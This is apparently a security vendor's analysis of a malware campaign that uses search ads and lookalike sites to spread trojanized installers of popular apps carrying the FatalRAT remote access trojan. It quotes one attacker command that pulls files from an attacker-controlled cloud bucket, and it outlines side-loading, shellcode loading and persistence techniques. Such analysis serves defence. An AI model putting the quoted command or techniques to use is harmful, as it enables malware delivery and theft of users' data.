These aren’t the apps you’re looking for: fake installers targeting Southeast and East Asia

ESET researchers identified a malware campaign that targets Chinese-speaking people in Southeast and East Asia by buying misleading advertisements to appear in Google search results that lead to downloading trojanized installers. The unknown attackers created fake websites that look identical to those of popular applications such as Firefox, WhatsApp, or Telegram, but in addition to providing the legitimate software, also deliver FatalRAT, a remote access trojan that grants the attacker control of the victimized computer.

Victimology

Figure 1 shows a heatmap with the countries where we detected the attacks between August 2022 and January 2023. Most of the attacks affected users in Taiwan, China and Hong Kong.

Figure 1. Countries where we detected the attacks between August 2022 and January 2023

We also observed a small number of cases in:

• Malaysia
• Japan
• The Philippines
• Thailand
• Singapore
• Indonesia
• Myanmar

Attack overview

A simplified overview of the attack is shown in Figure 2. A chain of multiple components ultimately installs the FatalRAT malware that was described by AT&T researchers (@attcyber) in August 2021.

Figure 2. Simplified overview of the attack

Fake websites

The attackers registered various domain names that all pointed to the same IP address: a server hosting multiple websites that download trojanized software. Some of these websites look identical to their legitimate counterparts but deliver malicious installers instead. The other websites, possibly translated by the attackers, offer Chinese language versions of software that is not available in China, such as Telegram, as shown in Figure 3.

Figure 3. Fake Telegram website that delivers the FatalRAT malware

We observed malicious websites and installers for these applications, roughly in order of popularity:

• Chrome
• Firefox
• Telegram
• WhatsApp
• Line
• Signal
• Skype
• Electrum Bitcoin wallet
• Sogou Pinyin Method, a Chinese Pinyin input method editor
• Youdao, a dictionary and translation application
• WPS Office, a free office suite

You can see other fake websites in the gallery shown in Figure 4 (click on an image to enlarge it). Apart from electrumx[.]org, a fake website in English for the Electrum Bitcoin wallet, all the other websites are in Chinese, suggesting that the attackers are mostly targeting Chinese speakers.

Figure 4. Fake websites created by the attackers to deliver malicious installers (click to enlarge)

While in theory there are many possible ways that potential victims can be directed to these fake websites, a news site reported (English version here) that they were being shown an advertisement that led to one of these malicious websites when searching for the Firefox browser in Google. We couldn’t reproduce such search results, but believe that the ads were only served to users in the targeted region. An example is shown in Figure 5 (image from the original post above). We reported the websites to Google and the ads were taken down.

Figure 5. Search results for Firefox, with a fake website advertised (image credit: landiannews.com)

Given the fact that many of the domain names that the attackers registered for their websites are very similar to the legitimate domains, it is also possible that the attackers rely on typosquatting as well to attract potential victims to their websites. Some examples are:

• telegraem[.]org (fake) vs. telegram.org (legitimate)
• electrumx[.]org vs. electrum.org
• youedao[.]com vs. youdao.com.

You’ll find the rest of the domain names that we observed in the IoCs section.

Installers

The installers downloaded from the fake websites are not hosted on the same server as the websites, but in the Alibaba Cloud Object Storage Service. They are digitally signed MSI files (see the Certificates section) created with Advanced Installer. Figure 6 shows the malicious installers that the attackers uploaded to the cloud storage on January 6^th, 2023.

Figure 6. Malicious installers uploaded by the attackers to their cloud storage on January 6^th, 2023

When these installers are executed, they usually:

• Drop and execute the malicious loader, and files needed to run the FatalRAT malware, in the %PROGRAMDATA%\Progtmy directory.
• Drop the malicious updater and related files in the %PROGRAMDATA%\Progtmy\0 directory.
• Drop a file named ossutilconfig in the %USERPROFILE% directory. This file contains credentials used by the updater to connect to a remote bucket in the Alibaba Cloud.
• Create an empty directory %PROGRAMDATA%\Progptp (although we observed some cases where the FatalRAT malware was installed in this directory instead).
• Drop and execute the legitimate installer in C:\Program Files\Common Files (see CommonFiles64Folder).
• Create scheduled tasks to execute the loader and updater components.

The malware is run by side-loading a malicious DLL, libpng13.dll, which is used by sccs.exe (Browser Support Module), a legitimate executable developed by Xunlei. The original libpng13.dll is also included in the installer package (renamed to what appears to be a random name) because the malicious DLL forwards its exported functions to the original DLL. Some of the forwarded exports in the malicious DLL are shown in Figure 7. The image shows that the original DLL was renamed to BHuedjhd.dll in this example and that the malicious DLL was compiled as Dll22.dll.

Figure 7. Part of the exported functions in the malicious DLL that are forwarded to the original

The malware updater is executed in a similar manner, by side-loading dr.dll, used by a legitimate, signed binary developed by Tencent. The malicious DLL is very simple and executes OSSUTIL (included in the installer package as ssu.exe) to download files from an attacker-controlled bucket in Alibaba Cloud. The command executed by the DLL is:

cmd /C "C:\ProgramData\Progtmy\2\ssu.exe cp -r oss://occ-a1/dll/3/  C:\ProgramData\Progtmy\ --update"

This should update files in the %PROGRAMDATA%\Progtmy local directory from the remote bucket occ-a1 (a different bucket than the ones used to store the installers, but in the same account), but it doesn’t work in any of the installers that we analyzed because the %PROGRAMDATA%\Progtmy\2 subdirectory doesn’t exist (it should be subdirectory 0, created by the installer).

The attackers made the same mistake with the scheduled tasks created for the updater, as the execution path also refers to a subdirectory 2 that doesn’t exist. In most cases, four scheduled tasks are created: two for the RAT (one set to execute periodically and the other whenever any user logs into the PC) and two for the updater. The names of the tasks are based in the Windows build number and the name of the computer, as shown in Figure 8.

Figure 8. Scheduled tasks created by the malicious installers

Loaders

The loader – libpng13.dll – is a very simple component that opens and executes in memory a file named Micr.jpg, located in the same directory as the DLL. The attackers have obfuscated the loader with many calls to a function that just prints some hardcoded values. It’s possible that this behavior was used to avoid being detected by security solutions or to complicate the analysis of the DLL.

Figure 9 shows an example of the obfuscated code on the left and the deobfuscated code on the right.

Figure 9. Part of the decompiled code for libpng13.dll on the left and on the right the same code deobfuscated

Micr.jpg is actually shellcode that also contains an embedded DLL. The purpose of this shellcode is to load and execute in memory the embedded DLL by calling an export function of the DLL named SignalChromeElf. Before the execution of this export function, the shellcode reconstructs the imports table of the DLL and calls the DllEntryPoint, which simply invokes the Windows API function DisableThreadLibraryCalls as a way to increase the stealthiness of the DLL.

SignalChromeElf essentially will decrypt, load, and execute an encrypted payload located in the embedded DLL. This encrypted payload is the FatalRAT malware, and after its decryption the DLL will find the address of an export function called SVP7, which contains the entry point of the malware, and call it, passing the encrypted configuration of FatalRAT as an argument.

The function in the embedded DLL that decrypts the payload is the same as the function used in FatalRAT to decrypt its configuration. An example of this function is shown in Figure 10.

FatalRAT

FatalRAT is a remote access trojan documented in August 2021, by AT&T Alien Labs. This malware provides a set of functionalities to perform various malicious activities on a victim’s computer. As an example, the malware can:

• Capture keystrokes
• Change the victim’s screen resolution
• Terminate browser processes and steal or delete their stored data. The targeted browsers are:
  • Chrome
  • Firefox
  • QQBrowser
  • Sogou Explorer
• Download and execute a file
• Execute shell commands

This malware contains various checks to determine whether it’s running in a virtualized environment. Depending on its configuration, these checks may be executed or not.

From our own analysis we were able to determine that the FatalRAT version used in this campaign is very similar to the one documented by AT&T in their blogpost, so we won’t go into more details. A comparison of them is shown in Figure 11, and Figure 10 shows the decompiled code used to decrypt strings in the FatalRAT samples from this campaign, which is the same as the one described by AT&T.

Figure 10. Decompiled code of a function used by a FatalRAT sample to decrypt its configuration strings

Figure 11. BinDiff comparison between a FatalRAT sample analyzed by AT&T and the FatalRAT sample found in this campaign

Previous version

We found a previous version of the malicious installer that the attackers have used since at least May 2022. Unlike the installers that we described previously, this version contains an XOR-encrypted payload, divided into three files: Micr.flv, Micr2.flv, and Micr3.flv, each file encrypted with a different, single byte XOR key. Once decrypted, the content of the three files is concatenated, forming shellcode that contacts a C&C server to download and execute further shellcode.

The loader DLL in this case is named dr.dll – the same name that is used for the update mechanism in later versions of the installer, side-loaded by the same legitimate executable. Given that this older version doesn’t seem to have an updater, we believe that the attackers have replaced it with the new version of the installer since August 2022.

Twitter user Jirehlov Solace reported other versions of the installers starting in May 2022, as can be seen in this thread. Although some of those installers are the same as ones in this report, it seems that most of them are different, compiled as EXE files (not MSI installers) and using a variety of software packers. Those samples are probably connected with Operation Dragon Breath as described by Qi An Xin in May 2022.

Conclusion

The attackers have expended some effort regarding the domain names used for their websites, trying to be as similar to the official names as possible. The fake websites are, in most cases, identical copies of the legitimate sites. As for the trojanized installers, they install the actual application that the user was interested in, avoiding suspicion of a possible compromise on the victim’s machine. For all of these reasons, we see how important it is to diligently check the URL that we are visiting before we download software. Even better, type it into your browser’s address bar after checking that it is the actual vendor site.

Since the malware used is this campaign, FatalRAT, contains various commands used to manipulate data from different browsers, and the victimology is not focused on a particular type of user, anyone can be affected. It is possible that the attackers are solely interested in the theft of information like web credentials to sell them on underground forums or to use them for another type of crimeware campaign, but for now specific attribution of this campaign to a known or new threat actor is not possible.

IoCs

Files

Network

Certificates

MITRE ATT&CK techniques

This table was built using version 12 of the MITRE ATT&CK framework.